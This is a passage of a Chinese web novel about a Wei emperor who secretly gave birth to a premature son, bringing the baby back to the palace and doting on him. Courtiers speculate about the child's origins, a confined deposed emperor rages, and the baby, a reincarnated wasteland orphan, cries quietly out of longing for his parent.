他其实昨天就想说,但是他跟魏帝下棋下着下着就忘了。 李太医觉得自己一个老头子,都到这个岁数了,记性不好是正常的,他能够第二天还记得这事,把这事说了出来,他觉得这已经很够了,不能要求太多。 魏帝:“嗯。” “等初哥儿醒来,朕就抱他出来坐一会。” 李太医第一时间没有听出来,回味了一下,才反应过来魏帝已经给小主子起好了名字。 “陛下是已经给小主子起好名字了吗?” 他本来还以为陛下要等回宫后才能给小主子起好名字,没有想到在这个时候起好了。 魏帝眉眼柔和,可能连他自己都不知道,他现在只要说起小东西,整个人就会温柔的不像话:“萧之初,他叫萧之初。” 李太医看着魏帝这模样,欣慰的笑着夸道:“这个名字臣听着很适合小主子。” 自从魏帝登上皇位后,他的人情味就越来越少。 李太医如何能不愁,可是现在魏帝有了小主子,瞧着越来越与少年时萧恒相似的魏帝,他的眼睛一酸,眼眶红了红,真不能怪他的感性,他只是觉得太过可惜,当初的事,被困住的何止是魏帝…… 13. 第 13 章 回程的马车上,因魏帝腹部的伤暂未彻底的痊愈,而路上肯定会颠簸,让他在马车里抱着初哥儿的话,李太医认为很有可能会导致原本已经愈合的伤口再次裂开。 但是魏帝不抱的话,指望一个老头跟一个小孩,肯定是指望不上的。 所以抱着初哥儿回程的任务就交给了暗一。 暗一是个杀人不眨眼的暗卫,让他去做收集消息或者杀人的任务他都是可以没有任何迟疑的答应,并立即去执行,可是现在让他那双沾满了鲜血的手去抱着这么小…而且又软乎乎的小东西,他实在是有些无从下手…… 尚未正式启程前,他紧张的搓搓手,在院子里来回走,魏帝瞧着他这模样,喝茶时笑了起来。 暗一跟了魏帝许多年,两人还是少年时,在暗卫营,暗一被魏帝挑选上,之后两人一同经历了许多,信任是他们两人的基本,只是暗一始终谨记身份,不敢有丝毫僭越。 他的性格沉稳,寡言少语,平日里憋不出来一句话,喜好方面比较喜欢攒银子,再是数攒的银子,除了这个,再多的喜好没有了。 魏帝难得见暗一不淡定一回,心里面忍不住觉得好笑,让暗一抱着初哥儿回去,其实魏帝是挺放心的,他信任暗一,相信暗一会像保护着他一样来保护他的孩子。 而且他的身体他自己知道,确实无法抱着初哥儿回去,他不是个会不顾身体逞强的人,魏国还未彻底的安稳下来,他需要做的事情还有很多,起码在未来初哥儿彻底长大之前,他要把所有的一切都安排好,不论他的初哥儿究竟是有才还是无才,都能荣华富贵地度过这一生。 喝完的茶杯被他放下,魏帝喝完药,嘴里的苦涩像是要溢出来了一般,他眉头一皱,感觉这回的药比之前的都要苦些,他给自己倒了杯茶,一饮而尽,算是压下了嘴里的苦涩。 马车上,暗一身体僵硬的抱着小主子,他的脊背挺直,眼神有些飘,想看小主子又不敢看。 初初刚刚睡醒,正是精神足的时候,眨巴着眼睛,咿咿呀呀的朝魏帝伸出手,想让魏帝抱自己。 妈妈…要妈妈抱…… 他已经习惯了魏帝的怀抱,暗一的怀抱让他觉得陌生,陌生的感觉让他不怎么舒服。 小主子的动作暗一都看到了,说不伤心肯定是假的。 暗一挺喜欢小主子的,能够抱着小主子回去他的心里头别提有多紧张跟开心,只是小主子似乎不喜欢他。 魏帝看到初哥儿求抱抱的动作,挑了挑眉,用手点了点初哥儿的眉心“乖一点,到皇宫父皇再抱你,现在不行。” “呀!” 初初是个懂事的孩子,他不想做出为难妈妈的事来,收回求抱抱的手,接着顺手就抓住了暗一的手。 暗一的一只手圈着他,另一只手放在襁褓的侧面,初初手往前面一抓就轻易抓到了。 是很粗糙的手,手上有不少伤口愈合后留下的疤痕,大部分是利器所致的伤。 初初愣住,这些疤痕让他想到了上辈子的自己,那时的他手上也有这么多疤,他看着暗一那张普通的脸,心里有了他自己也想不明白的波动。 他的小手紧紧的握住暗一的手指,他的小手像是没有骨头一样,让暗一觉得很是柔软。 小主子的脸颊鼓鼓的,小脸跟个白面团子似的。 暗一本来一直认为自己的心肠很硬,可是直到现在才发现是之前他都没有遇到能让他心肠变软的人。 小主子实在是太过可爱,他相信暗卫营那些都说他们自己心狠手辣的在看过小主子,与小主子相处过后,肯定都会像他一样,毕竟他们都是一样的人,旁人的性子不了解,可是自己的性子还不了解吗? 马车的颠簸形成了天然的摇篮,初初原本清醒的脑子越来越迷糊起来,他都不用魏帝哄,自己慢慢的就睡着了。 等他再醒来的时候,才发现他躺在一张床上,显然已经不在马车上。 魏帝躺在他的身边,闭着眼睛,初初侧过头看着魏帝的脸,觉得自己的妈妈长的真好看,还有妈妈是天底下最好的妈妈。 侧头让他压在床上的脸颊肉挤在一起,小嘴被迫撅起,手指进嘴,口水顺着嘴角缝隙留了下来。 直到看到离自己距离不远的黑色头发时,他才放弃了吃手,改成抓头发了。 魏帝的头发乌黑顺亮,发质很好,而且还有股特别的香味,初初每次闻到这个香味都忍不住咽口水,他很喜欢妈妈的头发,特别是在知道自己可以抓到妈妈的头发时,他根本就无法控制自己。 总会伸出手去抓,然后再塞进嘴里,毕竟妈妈的头发实在是太香了,他无法忍耐住不去吃,但好在还是有一些理智在的,知道不能够吞下去,就只是在嘴里砸吧一下品尝味道。 可没有想到魏帝的头发刚被他塞进嘴里,他还没有细细品味,就发现魏帝已经醒了,一只手撑着头,像在看什么有趣的玩意一样看着他吃头发。 初初:“………” 他默默的把头发吐了出来,眼珠子滴溜溜的转着。 魏帝本来就没有睡着,他只是在闭目养神。原本还以为初哥儿还得要睡一会才会起来,可是他眼睛才闭上没有多久,初哥儿就醒来了。 而且醒来虽然没有哭闹,但是看着初哥儿小脸正对着他吃手,没吃几口,又盯上了他的头发,偏动作还快,他还没有来得及阻止,头发就已经被初哥儿塞进了嘴里,想到这,他还是挺无奈的。 魏帝起身将初哥儿抱入怀里,他打算给初哥儿洗个澡,主要是觉得初哥儿有些埋汰,而且他这三个多月来还没有给初哥儿洗过澡,只是每天都用温水给初哥儿擦身子,不然初哥儿早就臭了。 如今初哥儿身子骨大好,李太医说可以洗澡,只是要注意不能洗太久,洗澡的时间要控制,水温也是要控制的,初哥儿虽然身子骨相较于之前确实是好了不好,可是与正常的孩子还是比不上的,所以各方各面都需要细致对待。 一个小木盆,是魏帝特地命人打出来的,倒上热水,他试过温度,觉得可以不烫才把脱干净的初哥儿放进去。 其实可以让宫里照顾过许多孩子的嬷嬷来洗,只是魏帝不愿意,他想自己动手,他这一生大概只有初哥儿这一个孩子,所以他不想错过初哥儿的任何事情,身为皇帝照顾一个皇子选择亲力亲为是不太妥当。 可是,初哥儿是他生下来的,他是初哥儿的母亲,母亲照顾自己的孩子天经地义,就算旁人不知情又如何?他知道就行,而且既然有人 选择了多嘴,那么就要承担相应的后果,任何人都要为自己的所作所为负责,包括他自己也是不例外的。 哇哦。 初初被温热的水包裹着,上辈子的废土干净的水资源极为稀少,在他的记忆里他似乎从来都没有洗过澡,洗澡这么奢侈且非常耗水的事他一个有的时候连水都没得喝的孩子是想都不敢想的。 洗澡的感觉与在妈妈肚子里差不多,只不过还是有不同的,不同的点在于洗澡盆里很大,他不用缩着身体。 只是脊背还没有支撑力,魏帝用手托着他的脖子,他整个人是躺在魏帝的手上,小手小脚在水里扑腾,水面溅起浪花,初初笑着露出还没有长出牙齿的牙龈,眼睛笑眯成一条缝,嘴的形状像个桃子。 好舒服……呀! 紧接着,魏帝拿起一块白色的东西,方方正正的,闻起来有股奶味,与初哥儿身上的味道很像。 京城不知何时起流行起来了一种名叫羊奶皂东西,说是清洁力挺不错,比皂角好,而且用羊奶皂洗完衣服或是澡后身上会留香。 外面人有的,魏帝肯定也是要让初哥儿也拥有,少了他的都不能少了初哥儿的,只是他让人出去买的时候已经很迟了,只剩下四块,若是还想买得下个月。 魏帝虽然觉得四块羊奶皂实在是太少,可是再想了想比羊奶皂如今被京城里人人吹棒,许多人想买都买不到,他如今能够得到四块,怎么都比没有的好,人不能够太贪心。 而且仔细算起来也还是够用的,还有这个月离下个月已经不远,到时候让卖羊奶皂的以后每月专门准备一批供皇宫就是。 魏帝的见识是极为不菲的,他认为之后肯定不会只有羊奶皂一种,只要对方想挣银钱,就不会只卖羊奶皂,没有人会嫌银钱少,所以正好顺便一起谈了,若是出了新品也需一起提供一批给皇宫。 他身为皇帝,单独给他提供一批他理所当然的认为是对方的荣幸。 魏帝从来都不是仗势欺人的人,对方识相银子肯定不会缺,甚至还会为其提供庇护,但是不识相的话,他也不是个心慈手软的人。 皇室的威严不容侵权! * 羊奶皂被魏帝沾上水后,在初哥儿的身上转了一圈,泡沫布满了初哥儿的全身。 好香!像吃妈妈身上的甜甜水的味道! 初初很喜欢,他瞧着自己身上的泡沫觉得很是新奇,手忍不住去抓,看到手上的泡沫,他咽了咽口水,刚想往嘴里送,就被魏帝给拦住了。 魏帝赶紧把他身上的泡沫都洗干净,生怕自己不注意初哥儿就把泡沫吃下去了。 他现在算是极为了解初哥儿,初哥儿一个表情他就知道对方是想喝奶还是拉身上了,毕竟这几个月都是他亲手照顾着。 刚才见初哥儿看泡沫眼睛都看直了,而且还别看边咽口水,魏帝想不明白初哥儿打什么主意都难。 果不其然,都没有过一会就见初哥儿要把沾着泡沫的手想塞进嘴里,只能说是,幸好他阻止的及时。 ……… 洗完澡的初初有些可惜的看着自己的手,他还没有尝味呢! 初初对此没有办法,在心里头叹了口气后,想着只能等下次找机会再试试看了。 14.第 14 章 魏帝并不知道初初的想法,但是有了前车之鉴,下一次洗澡的时候他会更加的注意,若是初初让魏帝知道了还想把泡沫塞嘴里的想法,魏帝肯定会教育初初的,听不听的懂另说,疼痛有的时候会更让孩子长记性。 天气渐渐的热了起来,孩子不能一味的求保暖,他们毕竟也是人,会怕热会怕冷。 初初刚洗完澡,躺在床上身上穿的不多,身上盖着小被子,他看着自己的手,本来没有打算把手塞进嘴里的,但是越看越忍不住,下一秒就开始吃手。 手很香,可是吃起来的味道还是不变,初初点评,他还是想吃泡沫,白白的,香香的,看着就很好吃,想到这,他又开始咽口水,但是由于口水分泌的多,都来不及咽下去,口水直接从手与嘴的缝隙中流了出来。 “啊呀!” 口水太多也是件烦恼,初初不想流这么多口水的,可是实在是控制不住! 魏帝洗完初哥儿,接着就是收拾自己,他同初哥儿一样也是许多没有洗过澡,基本都是用水擦身子,伤口还不能碰水,这么大且长的伤口若是碰了水,按李太医的话来说是肯定会感染的,而且感染伴随着高热,极易导致有生命危险。 都知道碰水很大可能导致感染,他自然是不会不听劝,只是不洗澡确实会很难受,魏帝只能够多擦几遍。 不过,虽然不能洗澡,但是洗头发还是可以的,他坐满一个月的月子就已经开始洗头,不然他是不会让初哥儿碰到自己的头发。 天色慢慢的暗了下来,寝殿内的烛光亮起,于年守在床边,他的鬓角有了不少的白发,年纪已经上来,他到了最喜欢孩子的时候。 小主子长开了些,能看出来与陛下长的是极为相似的,特别是那双凤眼,一模一样,看着小主子,他仿佛看到了很久以前的陛下,那个时候的陛下无忧无虑,是个很活泼好动的孩子,皇后娘娘经常被气到,但是又舍不得教训陛下。 于年只觉得那个时候可真好…可惜幸福来的太快,离开的也太快,让人猝不及防…… 初初不认识站在床旁看着自己的人,但是他知道这人是个好人,看自己的眼中只有温柔与喜爱。 他投胎转世后在这个世界里遇到的人基本都是好人,好的让他感觉自己在做梦。 上辈子在废土的经历已经深深地刻在了他的骨子里,或者以后有可能会被覆盖住,但不是现在。 初初转过头,眼睛直勾勾的看着于年,两只手握成拳头,对方的脸记下来了,但睡意也来了,他迷迷糊糊的打了个哈欠,强撑着没有睡着。 他想等魏帝过来,在魏帝的怀里睡觉,从他出生到现在,他一直都是在魏帝的怀里睡觉的。 初初的发育要比寻常孩子慢些,他到现在还不会抬头,其实按常理,寻常的三月孩子是已经可以抬头了的。 可是奈何初初不是寻常的孩子,他是早产儿,而且还不是一般的早产儿,只是虽然他如今是要比寻常孩子发育慢些,但是好歹还活着。 在魏帝看来慢些就慢些,只要还活着就有发育完全的时候,可若是死了,就什么都没有了。 黑夜的天幕上繁星点点,月亮弯弯,皎洁的月光照亮大地,明天大概率是个好天气。 ———— 关于陛下从宫外带回来一个孩子的消息,在皇宫内如同往水里滴墨,只用了一天的时间,几乎就是人尽皆知。 宫人们虽不敢大声议论,但是其中关系好的,凑一起时还是敢小声议论的,毕竟这确实是个很大的八卦。 “天呐!怎么都想不到陛下竟然会从宫外带回来一个孩子?!” “我也想不到……” “而且听说还是亲自抱回去的。” “我一直以为陛下不喜欢孩子呢?不然怎么宗室推荐的宗室子陛下一个都没有选?” “有没有可能陛下只是不喜欢不是他亲生的?” “嗯……有道理。” “只是陛下的年纪又不大,我实在是不懂他们为什么这么早就想让陛下立继承人?!” “所以有些人真不怪陛下砍了他们的头,这都是他们自找的。” “这点我倒是赞同。” “不过,孩子毕竟是陛下从外面抱回来的,血脉方面不知道会不会有错?” “听见过孩子长相的一个太监说孩子与陛下长的很相似,而且以陛下的性子,他怎么可能会上赶着去养别人的孩子?” “确实,以陛下的性子不可能会去养别人的孩子,只是现在陛下有了自己的孩子,那些宗室们的心思算是全打了水漂,不知道他们会不会狗急跳墙?” “他们跳或不跳,只要陛下足够疼爱小主子,为小主子找想,都会想办法把他们摁死的。” “还有大人物的事咱们这种宫里的底层人还是别替他们担心,吃了八卦,过多的别管,走吧,要开饭了,等会好菜全部被抢走了,有你哭的。” “啊!对!马上要开饭了!咱们快走!” 树上的嫩芽已经长成树叶,风轻轻将它们吹动,草地上的小草长得茂盛起来,应该明天或者后天管事的就会让他们这些宫人将杂草全部清理干净。 ……… 关于从宫外带回孩子的消息魏帝从选择回宫开始就没有打算瞒着,他的孩子就是要光明正大的。 魏帝上完朝回来原本是应该去处理奏折的,可是他如今是有了孩子的人,这几个月他一直跟初哥儿待在一起,上朝的时间有些长,虽然实际上并没有分别多长,但是心里头却认为自己与初哥儿分别了挺长的时间,他此刻急切的想要见到初哥儿。 初初在魏帝醒来上早朝的时候,其实也跟着一起醒来了,但是魏帝看时间太早,就拍着他的屁股又给他哄睡着了才走的。 他这一觉睡到魏帝下朝回来,他平时不会这样睡,大概率是昨天坐马车回来的时候因为颠簸累着了。 被唤醒来的初初喝完奶穿好衣服就被抱到外面,这个时候 不怎么热,气温正正好,不冷也不热。 父子俩坐在亭子里,初初窝在魏帝的怀里,手抓住魏帝的手指,打了个哈欠,他还没有睡醒,眼睛水蒙蒙的,想吃手,手还没有塞进嘴里,两只小手就被魏帝抓住。 “啊…!” 他咿咿呀呀着,想让魏帝松开。 魏帝正逗着他玩,才不会松开,而且他还只是用的一只手就把初哥儿的两只手包裹住了,初哥儿没有丝毫的还手之力。 可是没有想到,魏帝正打算用手捏捏初哥儿肉嘟嘟的大腿时,初哥儿直接低下了头,一口咬在魏帝抓着他两口小手的手上。 他还没有长牙齿,刚才咬魏帝手的动作,除了给魏帝手上提供一手的口水,再没有别的作用了。 “初哥儿,你好埋汰。” 魏帝松开了他的手,用帕子先给初哥儿擦了擦一嘴的口水,才把自己手上的口水擦干净。 初初:“………” 别觉得他人小就听不懂啊! 他听的懂! 他的小嘴撅起来,听到魏帝说自己埋汰,他觉得很委屈…… 于是,他侧过脸生起了闷气。 魏帝看他用圆滚滚的头对着自己的样子,觉得挺有趣的,主要是没想到这小东西竟然还能听懂自己嫌弃的话,而且听懂后还跟自己闹起脾气来。 这么聪明的吗? 他本以为初哥儿身体发育不及寻常孩子,那么脑子方面应该也是不及寻常孩子的,可是如今看起来,倒是他想多了,他的初哥儿发育是不及寻常孩子,可是聪慧方面是比寻常孩子高些的。 “是父皇错了,父皇的初哥儿其实一点都不埋汰。” 魏帝轻声哄着,温柔地注视着怀里的孩子。 初初有哪里觉得不对,可到底是没有察觉出来哪里不对,就自动忽略了,他是个很好哄的孩子,魏帝只是一句简单的道歉,就可以让他直接原谅。 沈观复过来时,看到的就是这样的场景,那位在平日里在朝堂上冷漠,杀伐果断的帝王,此时眼中满是温柔,周身气质有一种诡异的柔和感,与他印象里的魏帝有着较大的冲突,他不知道该怎么形容自己的感觉,但是又觉得很熟悉,好像在哪里经常看到一样。 他顿了顿,突然想了起来。 他的妻子注视着年哥儿的时候就是这种眼神,而且也是这般的气质…… 沈观复虽然也很爱年哥儿,可是他无法做到像自己的妻子一样对年哥儿这般柔情。 奇怪…太奇怪了?! 若是陛下是位女子,孩子是陛下生的,倒也说得过去,可是陛下确实是位男子,孩子怎么都不可能是陛下生的! 没有办法,他只能用陛下是太喜欢这个孩子为理由来劝说自己。 他距离真相只有一步之遥,但是他的常识限制了他。 其实主要也是沈观复太了解魏帝,要是旁人还察觉不出来什么,可是偏偏沈观复是同魏帝一同长大的。 15.第 15 章 “这就是陛下从宫外带回来的孩子?” 沈观复看着魏帝怀里的初初,虽然知道能够被魏帝抱着,不出意外肯定是传闻中的孩子,可是他还是想确认一下。 魏帝将初初往怀里带了带,道“是他,朕给他起名萧之初。” “他们都说初哥儿与朕长的相似,子安觉得如何?” 沈观复刚才并未仔细查看孩子长何模样,现在乍一看,确实是极为相似的,长得如此相似,要是说这孩子不是陛下的,都有些说不过去。 “长的确实是像,不过陛下,孩子的生母没有一同带回来吗?” 他还挺好奇是怎么样的女人让陛下动心赏了个孩子。 魏帝说出早起想好的话,他故作惋惜:“孩子的生母已死,她提前发动,生产时凶险,这件事是朕的疏忽。” 魏帝生产时确实挺凶险,只不过他没死,孩子也没死,他与孩子一同活了下来。 沈观复总觉得哪里不对劲,可是又说不出来哪里不对劲。 他没有去深究,这种事总归是陛下的家事,臣子干预帝王的家事属于大不敬,就算他们有着再多的情谊也是不行的。 就是那女子倒是个苦命人,怀了陛下的孩子,若是能活着平安把孩子生下来,之后陛下肯定不会亏待她的,可惜没有这个命数。 只是女子生产本就凶险,当初他家夫人生孩子的时候生了足足一天,痛的大汗淋漓,脸色苍白无血色,他都有看到,到现在想起还会感到分外害怕。 不是害怕看到妻子的狼狈,而是害怕会失去妻子,若是为了一个孩子就要赌上妻子的性命,他是不愿意的,所以在年哥儿出生后没有多久,他就自己喝了绝嗣的药。 沈观复此生有年哥儿一个孩子就足够了,他并非是个会对孩子寄予厚望的父亲,或许是这前半生经历的够多,对他来说,只要孩子过得开心快乐幸福就已经足够。 至于前程这一方面,他正是上升的时候,而且与其指望孩子去光耀明楣,还不如他这个做父亲的拼一把,无论如何他都做不到靠孩子。 在魏帝身旁站着的于年脸上始终带着笑,只是在听到沈观复问孩子生母时,脸上的笑容不动声色的僵硬了一瞬,念头一闪而过。 小主子的生母就在你面前呢! 只是陛下不说,沈大人这辈子怕是都不会知道真相,只能相信陛下告诉众人的假话。 而于年自己的话,他知道的秘密只要他自己不想说出去,基本上就不会有人会从他的嘴里面知道秘密。 初初的头慢慢的歪了下去,枕到魏帝的手臂。 他有些不解,为何妈妈会说妈妈死了,明明妈妈活的好好,还抱着他呀! 人活的好好的还可说已经死了吗? 初初想不明白,咿咿呀呀的叫唤着,想问出来自己的问题,可是奈何不会说话,说的全是他的婴儿语,被他们给自动忽略了。 见没有人理自己,他也不恼,只是会有些无聊。 他的一边侧脸压着魏帝的手臂,大眼睛眨呀眨,口水流到魏帝的手臂上,魏帝感觉到了手臂上的凉意,不用想都知道肯定是小东西把口水流自己的手臂上了。 魏帝的忍耐度着实被初哥儿拔高了许多,起码在初哥儿未出生之前,他是绝对不能够接受任何人的口水流到自己身上,大人还有孩子都是一样的。 也就是因为初哥儿是他生下来的,所以他才会选择性丢掉洁癖而且对初哥儿很是纵容。 沈观复来找魏帝本来就没有什么要紧的事,只是来确认一下魏帝从宫外带回来一个孩子的事究竟是真是假。 他确认完看着父子俩个,觉得自己似乎有些多余,意识到自己多余,沈观复自然不会再待下去,他的脸皮还没有那么厚。 魏帝把沈观复打发走了,再看着半边脸上都是口水的小东西,只能认命的拿出帕子给小东西擦嘴。 至于他的手臂,魏帝让命人打来一盆清水,他洗了洗手臂,再用干净的帕子擦干净。 瞧着干净的初哥儿,他没有忍住,在初哥儿的脸颊上亲了一口。 他们两个脸与脸之间的距离很近,他刚亲完,不曾想转眼间初哥儿的嘴糊到了他的脸颊上,他的半边脸糊上了许多初哥儿的口水,他用帕子擦了擦脸颊,动作算是娴熟的。 阳光晒在身上暖洋洋的,初初挺喜欢的,两只小手伸出去抓阳光,反复几次却发现怎么都抓不上。 魏帝瞧着初哥儿做无用功,想着这小东西既然能对阳光都升起好奇心以及喜欢,是不是说明小东西也会喜欢有着同样颜色的黄金? 他觉得可以尝试一下,若是喜欢他就给小东西多备些黄金,等小东西以后是想用还是想用黄金砸人,他都是随小东西的。 胡乱抓了一会的阳光,初初的精力基本都被消耗掉,就困的直打哈欠,小孩子本来觉就多,魏帝看他困了,就给他换了一个姿势。 他趴在魏帝的肩膀,周身围绕着的 都是魏帝的味道,两只小手紧紧的抓住魏帝的衣服,眼睛刚闭上就沉沉的睡了过去。 魏帝在发现小东西睡着后,本来是想把小东西放到床上,在发现根本放不下来之后,有过尝试,可是平常很少会哼哼唧唧的小东西在此刻就会皱起眉,并且发出小猪的叫声。 “………” 他能怎么办呢? 当然是只能抱着啦。 更何况小东西根本就没有什么重量,他抱着没有什么感觉,就当是身上佩戴了一件挂件。 用完午膳,他处理完奏折,就抱着小东西回到寝殿,他也打算睡个午觉,同孩子一起,父子俩一起躺在床上,魏帝将初哥儿圈入自己的怀中,这是他们两个都已经习惯的睡觉姿势,他闭上眼睛,没过多久就沉沉的睡了过去。 * 转眼间过去了两个月。 初初已经可以稳稳当当的抬头,整个人相较于之前又长大了一圈。 魏帝将他养的很好,对现在都未曾生过病,连李太医都夸赞的程度,毕竟按常理来说,早产儿是极易被风邪入侵的,而像初哥儿这样的早产儿被风邪入侵的概率是还要往上提一些的。 早上,初初醒来时未见魏帝的身影,但是于年在一旁守着他,见他醒来,赶忙把他抱来换新的尿布。 初初有一双白嫩嫩的小脚,原本穿在脚上的小袜子不知道踹哪里去了,于年拿了一双新的出来准备给小主子换上。 初初与于年已经挺熟,这段时间,魏帝出去忙的时候,就由于年照顾,本来按道理来说于年应该是要跟着魏帝的,但是魏帝不放心别人照顾,这个宫里他最信任的就是于年。 小脚被于年握住的时候,初初觉得怪痒痒的,但是还没有开始挣扎,袜子就已经被于年给套上。 随后就是穿衣服,一整套下来费了些功夫,不过到了于年这个年纪,他最不缺的就是耐心,而且小主子着实是太过可爱,他伺候小主子是完全的心甘情愿。 魏帝去上朝之前已经给初初喂过一次,他走后初初又睡了个回笼觉,再醒来的时候肚子并不饿,他如今经常出去玩,魏帝有时间就魏帝带他出去,魏帝没有时间就于年带他出去。 他想出去玩的时候,是表现的相当明显的,会朝于年笑的眼睛弯成月牙,张开双手求抱抱,待于年抱起来,初初就会指着门外。 刚开始还需要初初指门外的动作,但是现在已经不用了,于年算是差不多将小主子给摸清楚了。 16.第 16 章 砰… 瓷器落在地上四分五裂。 皇宫深处一处破败的院子里,一个披头散发,满头都是银发的老人面上不可置信,仿佛听到了什么极为荒谬的东西。 “孩子?” “这孽障竟然有了孩子?!” “哈哈哈……” “该死!孽障跟小孽障都该死!” “都该死……!” 这些年的囚禁已经快要将他给逼疯,或者也可以说他早就疯了,在那个孽障杀了他最喜欢的儿子,再将他赶下皇位,囚禁在这里的时候。 那些在墙外窃窃私语的话从来都不是无端出现的,他十分的清楚,可是清楚是一回事,他听到后还是得气愤! 这孽障简直就是杀人诛心啊! 凉风吹在他的身上,一同吹凉的还有他的心。 他望着天空的眼睛混浊,恨不得当初随他喜爱的孩子一同离去,可是他终究还是怕死,若真有死的勇气,就不会苟延残喘到现在。 顺极了的前半生带给他的只有狂妄自大,当年天命所归的预言一出,他就坚信自己是预言中的天命所归,可是棋差一招输给自己的儿子萧恒后,他知道了他从来都不是他认为的天命所归,他最不喜欢甚至是觉得不成器讨厌的儿子萧恒才是。 被这墙围久了,有的时候他会想,要是当初他从来没有升起害皇后的心,是不是结局就不会如此? 可惜如果不会实现,他这种狂妄的人是不会听旁人的话,只会坚持着自己的决定。 风将院中的残叶卷起,四散吹开,他坐在地上,像往日一样疯疯癫癫,自言自语。 ……… “干爹,已经让那位知晓。” 白面的小太监弯腰笑着对于年道。 他是于年收下的干儿子,是个勤快聪明的,这宫里想活的出人头地,勤快还有聪明是缺一不可的。 于年点了点头:“嗯。” 那位如今翻不出什么浪花来,知道小主子的存在没有什么事,他这样做单纯的就是想恶心那位,而且这也是得到陛下允许的,他一个奴才,与那位接触的事还是得经过陛下的允许。 外面的日头足,又是魏帝不在的一天,初初抬着头看着外面,他想去找妈妈,不对,是娘,他从宫人们无意的聊天中知道了原来生下自己的妈妈在这个世界里,是要喊娘的。 可是他现在的身体连爬都不行,找娘的想法只能是想法。 他已经学会了翻身,娘不在的时候学会的,这个技能他还没有在娘面前展示出来。 初初脸颊鼓起来,大概是身体太小,情绪波动就越明显,在废土很少哭泣的他,在来了这个世界后,经常会因为控制不住自己的情绪而哭泣,只不过他都是偷偷哭,不发出声音。 就像是现在,他觉得自己与娘相处的时间越来越少,忍不住红了眼哐,亮晶晶的眼睛里水旺旺的,侧过身体整个小人缩在一起,他在魏帝肚子里的时候就是这样的动作。 豆大的泪水从眼眶滚落出来,初初不想给娘惹麻烦,在废土里只有乖巧的孩子才会得到大人的喜欢,反而太过吵闹的孩子会得到大人的讨厌。 他想得到娘的喜欢,虽然知道娘已经很喜欢他,可是他还是想得到娘更多的喜欢。 人一旦开始得到自己最想要的东西就会逐渐想要更多,也许要直到想要得到的东西溢出来才能停下,或许始终都不会满足也是有可能的。 初初不知道哭了多久,他把眼泪擦在被褥上,摸着被褥感觉湿了一小块,突然想到要是被娘摸到了的话,会不会以为他尿床了? 他不想娘以为他尿床上了,哭是没有心情再哭,他抱住被褥上湿掉的那块,想用体温让湿掉的被褥快点干掉。 只是在听到于年在外面跟人聊天时,他没有听的很清楚,只听清楚了两个字,就是“那位”。 那位是谁? 初初对那位产生了好奇,但也只是好奇。 魏帝回来的时候初初的眼睛还是红红的,没有恢复,他这次哭的比以前要久些,眼睛也比以前要红些,恢复起来自然是需要的时间要比以前多,不过初初没有注意。 一双大手的手指轻轻擦过初初红彤彤的眼睛,初初没忍住眯了眯,小脸上的肉陷进了大手的手心。 “于年,初哥儿的眼睛怎么回事?” 魏帝表面上很平静,但是内心是极为不平静的,他还没有见到初哥儿的眼睛红肿成这样过。 他把初哥儿抱入怀里,初初没有想到自己偷偷哭,因为眼睛露了陷。 于年看到小主子的眼睛心里一惊,小主子的眼睛竟然红成这样?!可是他一直守在小主子身边,他根本就没有听到哭声。 他跪下“陛下,奴才未曾听到小主子哭泣。” 魏帝:“唤李太医来。” 魏帝是信任于年的,若是不信任他就不会让于年照看初哥儿。 于年的冷汗都已经冒出来,听到魏帝的话才松了一口气:“是陛下。” 初初小手抓住魏帝的衣服,头埋在魏帝的肩膀上,闻着魏帝的气味,整个人安心 了不少。 只是等李太医来了,他偷偷哭泣的事大概率是瞒不下去了,他不想要娘觉得他是个麻烦,他很委屈,眼尾的红加深了些,抽抽噎噎起来,眼眶里的泪珠滚落下来。 “怎么哭了呢?” 魏帝发现的时候初哥儿脸上的泪珠已经滚了几轮,他瞧着初哥儿的眼中闪过心疼。 小东西哭的安静,也不像寻常的孩子一样嚎啕大哭,就显得格外的让人心疼,魏帝的心仿佛被什么东西紧紧握住,他有些喘不过气来。 魏帝用帕子轻轻擦着初哥儿的小脸,听着那细碎的哭声,眼眶不免红了起来。 这可是他亲自生下的孩子,孩子的一举一动都在牵动着他的心,让他跟着一起开心与伤心。 李太医赶过来的时候,就看到魏帝红着一双眼,而魏帝怀里的初哥儿大概是哭累了,闭着眼睛睡了过去,但是小脸上原本的大眼睛已经红肿,脸上的泪水已经被魏帝擦干净,可还是留下了泪痕。 “父皇的初哥儿,怎么哭成这样呢?” 他也算是看着小主子长到现在的,自然是知道小主子不怎么哭泣,如今哭成这幅可怜兮兮的模样实在是让他心疼。 魏帝摇头:“朕不知。” 可恨自己不能知晓孩子的内心,若是知晓,他又怎会像现在一样手足无措,能做的只有轻哄,不知缘由。 李太医摸摸自己的胡子:“陛下先将小主子放下,由臣先看看。” 他仔细检查了一番,除了哭红肿的眼睛,实在是没有发现小主子身上哪里有问题。 所以到底是为什么呢? 他在思考时突然想到陛下最近似乎格外的忙碌…… 李太医这么大的年纪不是白活的,他大抵是想明白了小主子为何会哭成这样。 他看着魏帝难掩担心的脸,开口:“陛下,臣知道缘由了。” 魏帝视线移到他的身上“是什么?” 李太医:“小主子只是太过思念陛下。” “陛下是小主子的娘,孩子最是离不开娘,而臣听闻陛下最近太过忙碌,小主子与陛下经常分别,所以应是小主子没有什么安全感。” 原是如此。 魏帝听明白了,他将初哥儿抱入怀里,脸蹭了蹭初哥儿的头。 他这个娘做的可真不称职,只想着快点为孩子扫清障碍,却忘了这个时候的孩子,最需要的是陪伴。 这是他的错,知错要能改,他会改的。 就是委屈了他的初哥儿,魏帝在心里发誓没有下次了。 17.第 17 章 沈府里。 沈观复抱着自己已经可以爬的孩子,小的在他抱里拼命挣扎,一个只想抱住,,像是在按小猪一样,虽然轻易可以按住,但那是需要用力气的,怀里的终究还是个孩子,沈观复根本就不敢太用力。 他身上的汗都被自家儿子给折腾出来了。 走进来的杨知予瞧见他的狼狈样,忍不住笑了起来,可还是在笑过后将相公给解救。 “相公,把年哥儿给我吧。” “好。” 沈观复可以说是迫不及待的把年哥儿给了妻子,年哥儿到了杨知予的怀里立马安分了不少,与在他怀里形成鲜明对比。 年哥儿现在长开了不少,相貌与杨知予的相貌极为相似,白白胖胖的小人趴在杨知予的怀里,看的出等以后长大相貌是不会差的。 他撅着小嘴,孩子的喜怒都浮在脸上,不喜欢就是不喜欢。 沈观复坐下,给自己倒了杯茶。 “陛下如今算是众所周知的喜爱他那从外面抱回来的孩子。” “原本还想大刀阔斧的将朝堂清理一遍,在知道孩子需要陪伴就放过他们了,说什么为那孩子攒点功德,少杀点人。” 